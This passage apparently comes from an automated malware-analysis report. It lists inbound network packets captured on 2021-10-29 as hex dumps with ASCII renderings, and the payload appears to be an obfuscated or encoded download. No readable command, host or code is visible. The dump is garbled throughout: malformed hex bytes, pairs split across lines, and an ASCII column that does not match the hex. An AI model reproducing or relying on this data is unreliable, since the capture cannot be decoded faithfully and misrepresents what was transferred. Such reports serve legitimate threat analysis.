20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20
Af 4f 4b 20 74 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 74 20 59 4f 20 59 4b 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 78 51 20 4f
4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4b 20 59 78 20 4b 6b 20 59
78 20 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20
Af 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 6f 20 4b 6b 20 59 78 20 59
Data Ascii: to Kk Yx YK OEk OOK OOt OxQ Kx YO Kk Yx YR kK OOK OOt OxQ OO0 Yx Kk Yx YK kK OOK to OxQ OOo
Yx ot YO YK kK o0R OOR OxQ OO0 KQ Kk Yx YK QK OOK OOt Oxk OOK Yx Kk Yx t kk OOK OOt Ko OOE Yx Kk tK YY
kK OOK Oot OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yo Kk Yx Y
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1674 IN Data Raw: 4f 51 74 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59
4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74
2052 51 20 4b 51 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6f 20
59 52 20 45 59 20 59 78 20 74 6b 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 78 6b 20
6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20
41 78 45 20 45 4f 20 4 59 6b 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20
6b 20 59 4f 20 59 4b 20 6b 6f 20 51 51
Data Ascii: OQt Yx YK kx Qx RR OxQ 000 YR Rt Ox YK kK Oox oR OQE 000 Yx YK QE OE kK OOK Oot RQ KQ Yx Kk
YR kQ Qk OOY OOt Oxt Qt Yo YR EY Yx tk oYY Kt OxQ 000 YO 00 00R oxk kk OOK OOE RQ tO Yx Kk YR RQ Oxk
0OOK 0Ot OXE EO OYk Kk Yx Kk YQ tE OOt OxQ 000 QE k YO YK ko QQ

2021-10-29 18:30:02 UTC 1676 IN Data Raw: 4f 4f 6f 20 59 52 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 4f 4b 20 4f 4f 6f 20 59 78 20 59
6b 20 45 4b 20 59 4b 20 6b 52 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 74 59 20
4b 52 20 6f 45 6f 20 4f 6f 6f 20 45 4f 20 6b 59 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 74 20
Af 4f 78 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 4b 45 20 4f 4f 6f 20 59 78 20 59 6f
20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20
Af 4f 74 20 4f 78 45 20 51 6f 20 59 6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 2
0 4f 52 6b 20 59 6b 20 6f 45 52 20
Data Ascii: OO0 YR tk KK YK kK Oox oR OOK OO0 Yx Yk EK YK kR OxO oKk YY OOo Yx KQ oE Eo tY KR oEo Ooo EO
KY Kk Yx Rx QY OOt OxQ oKt OOx OQO OxR Yx YK kY kt ORY oKE OO0 Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex
Q OOK OOt OXE Qo Yo YY Et Oto QK kQ OOE OxR Oxo ORk Yk 0oER

2021-10-29 18:30:02 UTC 1677 IN Data Raw: 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 4f 52 6f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b
20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 52 6b 20 4b 51 20 4f 4f 45 20 4f 4f 74 20 6f 51 20
4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 51 6f 20
59 78 20 59 4b 20 51 4b 20 6f 51 20 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 74 20 45 51 20 51 4b 20 51 78
20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20
59 52 20 6f 51 20 6b 74 20 45 78 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59
4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6f
Data Ascii: Yx YK kY kt ORY ORo OO0 Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Rk KQ OOE OOt 0Q OK KK Kk Yx Rx
00K 0xQ OOt OxQ Ooo QE Qo Yx YK QK 0Q KE OxQ OO0 YR EY Yt EQ QK Qx tE OxQ OO0 YR 0Q Qo EQ QY Qx tE
OxQ 000 YR 0Q kt Ex Yo OOK OOt OXE Qt YR oK 000 YK kK Oox oR Oo

2021-10-29 18:30:02 UTC 1678 IN Data Raw: 59 20 4f 4f 74 20 4f 78 74 20 51 78 20 52 6b 20 59 78 20 6f 52 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45
4f 20 6b 59 20 59 4b 20 4b 6b 20 52 52 20 45 78 20 4f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 59 52 20 4b 6b
20 59 78 20 6f 51 20 6b 74 20 4f 4f 6b 20 6f 52 20 4f 45 45 20 4f 4f 45 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 74 4f 20 52
52 20 4f 6f 52 20 4f 78 51 20 51 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b
6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20
59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f
45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20
Data Ascii: Y OOt Oxt Qx Rk Yx oR EY kk OOK OOY EO kY YK Kk RR Ex OKO OOK OOt Oxt kk YR Kk Yx 0Q kt OOk
oR OEE OOE Yx YK oK YK tO RR OoR OxQ Qo Yx Kk Yx YK kk OOK OOt OO0 kk EQ Kk Yx Kk Ek KY OOE OxQ x oR
OoEE Yx YK ko Qx OoR OxQ OOo oY YO YK YO Qx OOk OoE OxK OoR Yo

2021-10-29 18:30:02 UTC 1680 IN Data Raw: 6f 78 20 4f 6b 6b 20 6b 51 20 4f 78 74 20 4f 6b 74 20 52 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 6f 59 20 59
45 20 59 59 20 4f 6b 6b 20 51 59 20 74 59 20 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51
20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59
4f 20 4b 20 4b 4f 20 6f 52 20 51 59 20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20
59 6f 20 45 4b 20 51 45 20 4f 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 5
120 6b 45 20 4f 74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51
52 2059 78 20 4b 6b 20 59 78
Data Ascii: ox Okk kQ Oxt Okt Rx OOK OOt Oxk OoY YE YY Okk QY tY Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR
Ox0 YQ Ek YE OkK RO 000 0YO K KO oR QY Yx YK QK O Oxo OxQ OO0 Yo YO Yo EK QE Ooo oR tt OO0 Yx YK EE
Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx

2021-10-29 18:30:02 UTC 1681 IN Data Raw: 4b 20 45 78 20 4b 6b 20 45 51 20 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 6f 20 6f 4b 20 74 4f 20 59 4b 20
6b 4b 20 4f 6f 78 20 4f 4f 6f 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f
74 20 59 78 20 52 4b 20 59 45 20 4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20
6f 52 20 6b 6f 20 4f 20 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78
51 20 6f 4b 4f 20 59 78 20 4b 6b 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f
4559 20 59 59 20 59 4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20
4f 4f 4b 20 4f 6f 74 20 4f 78 45 20
Data Ascii: K Ex Kk EQ E OOt OxQ Ooo0 to oK tO YK kK Oox OO0 0 x Yx Kk YR RO kR OOR t oKx OOt Yx RK YE KQ
00k ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OO0 YR tK Yo ok tO RR Oot OxQ 0KO Yx Kk Yx EY kk OOK Oxx OO0
OOY RK OEY YY YK ER Qx kO OxQ OO0 Yo Ek oR RQ kK OOK Oot OXE

2021-10-29 18:30:02 UTC 1682 IN Data Raw: 78 52 20 51 78 20 6f 6f 4b 20 6f 4b 20 6b 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 78 52 20 51 74 20 6f 59 45 20
4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20
59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74
20 4f 4f 4f 20 45 4f 20 52 52 20 4b 6b 20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59
4b 20 51 45 20 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f
Af 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f
59 4b 20 45 4f 20 59 6f 20 45 6b 20
Data Ascii: XR Qx 00K oK ko YK kK Oox OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK kK Oox R kY
000 Yx Yk oR kk kk OOK Oot OO0 EO RR Kk Yx Rx kt OOk QE tK OO0 Yx YK QE kt kk OOK Oot tO OO0 Yx KE o YE
kK OO0 OOt OxQ OO0 EE Kk Yx EQ kR QK OOE OO0 oYK EO Yo Ek

2021-10-29 18:30:02 UTC 1684 IN Data Raw: 6f 6b 20 45 59 20 59 45 20 45 45 20 4f 6f 20 4f 78 52 20 4b 78 20 52 4b 20 4f 6f 4b 20 59 6f 20 52 52 20 4f 4f
52 20 4b 51 20 6b 4b 20 6f 20 51 45 20 74 78 20 4f 4f 6f 20 59 78 20 59 6b 20 59 52 20 4b 51 20 52 74 20 4b 6f 20 4f 6f
52 20 4f 78 52 20 4f 4f 4b 20 51 45 20 4f 74 6b 20 59 78 20 59 4b 20 51 4b 20 74 74 20 45 51 20 4f 4b 52 20 4f 4b 45 20
6f 78 59 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 6f 20 51 45 20 4f 4f 74 20 59 78 20 4f 4f 6f 20 59 78 20
59 4b 20 6b 4b 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 51 74 20 52 59 20 4f 74 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20
51 51 20 4f 78 6f 20 51 4f 20 6f 78 20 59 4b 20 4b 6b 20 4b 51 20 59 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b
51 20 59 59 20 4b 51 20 6b 51 20 6f 78 6b 20
Data Ascii: ok EY YE EE Oo OxR Kx RK OoK Yo RR OOR KQ kK o QE tx OO0 Yx Yk YR KQ Rt Ko OoR OxR OOK QE
Otk Yx YK QK tt EQ OKR OKE oxY YK oK YK kK OOK Oxo QE OOt Yx OO0 Yx YK kK Oxt OOt OxQ Qt RY OtQ Yx YK
QK Oox QQ Oxo QO ox YK Kk KQ YQ kY OOt OxQ Ooo KQ YY KQ kQ oxk
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1685 IN Data Raw: 4f 52 6b 20 4f 74 78 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 59 4f 20
59 4b 20 52 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20
Af Af 74 20 4f 78 51 20 4f 4f 52 20 51 45 20 59 78 20 59 4f 20 59 4b 20 6b 6f 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52
20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 52 20 52 78 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20
Af 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 Af 4f 6f 2
04559 20 59 78 20 74 45 20 59 6f
Data Ascii: ORk Otx YK kO OoY OOt OxQ OOE KO x YO YK RY OOK OOt OxQ Oxt Yx Kk EY Yo Kt OO0 OOt OxQ OOR
QE Yx YO YK ko Oox OtO OxK kR ER Yk oER YK ko kk OOt OxQ OOo YO Eo Yx YK kk OOK OOt OxQ OoR Rx Kk YY
Yt kk OOK OOR OOk RK Kk Kk Et YK kk OOK OOx OxQ OO0 EY Yx tE Yo

2021-10-29 18:30:02 UTC 1686 IN Data Raw: 59 78 20 59 6f 20 4b 51 20 6b 51 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20
6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f
4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f
4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59
20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 59 20 45 52 20 59 59 20 6b 4b 20 4f 4f 52 2
0 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f
6f 20 59 4f 20 45 6f 20 59 78
Data Ascii: Yx Yo KQ kQ kE OOY OOt Oxt Ooo 0ER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kk OOK OOt OxQ OOo
Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OO0 OOt OxQ OOR KQ QY
ER YY kK OOR Oot OtQ OOt ox Ek YR oEo kk OOR QY OxQ OOo YO Eo Yx

2021-10-29 18:30:02 UTC 1688 IN Data Raw: 4f 78 51 20 4f 78 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 20
4b 6b 20 4b 6b 20 59 78 20 59 78 20 6b 74 20 6f 51 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 6b 20 6f 45 52 20 59
4f 20 4f 4f 4b 20 4f 78 78 20 4f 6f 74 20 4f 74 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 6b 59 20 51 6b 20 4f 4f
74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 74 20 51 4f 20 4f 4f 4b 20 4f 4f 6f 20 51 6b 20 4f 4f 6f 20 59 78
20 4b 51 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 78 20 59 4b 20 52 51
20 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74
20 4f 6f 6f 20 6f 45 52 20
Data Ascii: OxQ Oxo Yx Kk Yx Ko kk OOK Oxx OO0 OO Kk Kk Yx Yx kt 0Q Oxo Oxk OO0 Yo Yk oER YO OOK Oxx Oot
OtQ 000 Yo oR Yx YK kY Qk OOt OxQ OO0 Yx Kk Yx Yt QO OOK OO0 Qk OO0 Yx KQ KO R kR OOK QQ OxQ OO0 Yx
KK Yx YK RQ OO0 OK OO0 000 Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER

2021-10-29 18:30:02 UTC 1689 IN Data Raw: 4b 20 4f 4f 52 20 51 59 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78
45 20 4f 6f 74 20 4f 4f 6f 20 52 6f 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 78 20 4f 4f 6f 20 4b 6f
20 4b 6b 20 59 78 20 59 4b 20 74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 4b 20
6b 78 20 4f 4f 45 20 4f 4f 45 20 6f 20 4f 78 59 20 59 4f 20 4b 6b 20 59 6f 20 45 45 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59
20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b
6b 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20
Af 78 4f 20 6f 52 20 45 52 20
Data Ascii: K OOR QY Oxk QR Yx Kk Yx YK kk OOK OxE Oot OO0 Ro RE Yx YK kY OxY RQ OOx OO0 Ko Kk Yx YK tQ
OOK OOt OoK OOK tE Yx Yx YK kx OOE OOE 0 OxY YO Kk Yo EE QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOY OxO
OxQ 000 Yx Kk Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER

2021-10-29 18:30:02 UTC 1690 IN Data Raw: 20 4f 4f 4f 20 51 6b 20 59 52 20 74 6b 20 59 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 52 20 4f 4f 6f 20
59 78 20 59 6f 20 6f 52 20 6f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 51 59 20 59 4f 20 4b 6b 20 59 6f 20 45 51
20 51 4b 20 4f 6f 74 20 4f 4f 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 59
20 4f 6f 52 20 4f 4f 52 20 6f 59 20 59 6b 20 4f 6b 20 4f 51 78 20 74 4f 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78
20 4b 6b 20 59 52 20 45 51 20 6b 78 20 4f 4f 52 20 4f 6f 59 20 4f 6f 74 20 4f 4f 59 20 51 45 20 4f 6b 59 20 59 78 20 59 4b
20 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74
20 4f 78 74 20 6b 6b 20 4f 4b
Data Ascii: 000 Qk YR tk YY YK kk OOk OO OxR OO0 Yx Yo oR ot kk OOK OOY RQ OQY YO Kk Yo EQ QK Oot OO
Ox0 000 Yx Yo oR OkQ kK OOK OOY OoR OOR oY Yk Ok OQx tO OOK OOt RQ oEQ Yx Kk YR EQ kx OOR OoY Oot
OO0Y QE OKY Yx YK ko QK OYR Oxx QQ YY EK YY RQ 0OR OOY OOt Oxt kk OK

2021-10-29 18:30:02 UTC 1692 IN Data Raw: 20 4f 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 4f 4f 4b 20 4b 6b 20 4b 6b 20 59 6f 20 52 78 20 74 59
20 4f 6f 59 20 6f 4b 6b 20 51 51 20 4f 4f 6f 20 59 78 20 59 78 20 6f 45 20 45 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 45
20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 45 74 20 45 52
20 6f 78 4b 20 4b 6b 20 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52
20 6b 74 20 4f 78 51 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 52 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20
4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 5
2 59 20 4f 6b 45 20 6b 4b 20 4f 4f
Data Ascii: Okk kk OOK OOY Ex OOK Kk Kk Yo Rx tY OoY oKk QQ OO0 Yx Yx oE Eo RK OKx OOY YE OOo Yx YK RY
OKE kK OOK OOQY oxt kY Et ER oxK Kk OE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OxQ 00O OKo Yo OxR Yx YK ko O
0oKK OxQ OO0 Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OO

2021-10-29 18:30:02 UTC 1693 IN Data Raw: 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6f 20 6f 78 52 20 59 6f 20 59 78 20 6b 52 20 4f 4f 4b 20 4f
4f 59 20 45 78 20 6f 4f 45 20 59 78 20 4b 6b 20 59 52 20 45 78 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 6b 6b 20 45
59 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6f 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 6f 6f 20 4b 51 20 59 78
20 6b 4f 20 51 78 20 59 6b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 74 51 20 52 52 20 4f 4f 45 20 4f
78 51 20 59 74 20 59 4f 20 4b 6b 20 59 78 20 4b 4f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 45 20 4f 51 78 20 4b
51 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20
4f 4f 52 20 6b 78 20 45 78 20 4f 78 59
Data Ascii: oKY OOt OxQ OOk Yo oxR Yo Yx kR OOK OOY Ex 0OE Yx Kk YR Ex Rk OOK OOt tx kk EY Kk Yx 0Q OoK
0Yx OOt OxQ OOk oK 00 KQ Yx kO Qx Yk OxQ OO0 Yo oR Yx YK tQ RR OOE OxQ Yt YO Kk Yx KO kk OOK Oxx OxY E
0Qx KQ Yx Kk OOE O 00x OxQ 000 YR QY QE YY kK OOR kx Ex OxY

2021-10-29 18:30:02 UTC 1694 IN Data Raw: 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59
78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f
4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 4f 51 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 4f 45 20
59 78 20 4b 6b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f
7420 4f 78 51 20 4f 4f 74
Data Ascii: Q OOE Yx Kk Yx Ok kk OOK OOR OxQ OO0 Yx Kk 00OR YK kK OOK OoR OxQ OO0 Yx OQk Yx YK kk OOE
OO0t OxQ 000 RO Kk Yx YY kk OOK OOt OxQ OO0 Yx Kk Yx OOQ kY OOK OOt KK OOE Yx Kk YO YK kK OOK kO
OxQ 000 YO Kk Yx YK kk OOK OOt OxQ OO0 OOY KQ Yx YK oo OOY OOt OxQ OOt
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1696 IN Data Raw: 45 4b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 51 20
59 59 20 6b 4b 20 4f 4f 52 20 4f 4f 45 20 52 51 20 4f 59 78 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 6f 6f 74 20 4f 4f 59 20
Af 4f 74 20 4f 78 74 20 51 78 20 45 45 20 78 20 52 6f 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20
59 78 20 4b 6b 20 59 78 20 59 78 20 4b 6f 20 4f 4f 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 45 4f 20 6f 78 20 45 52 20 6f
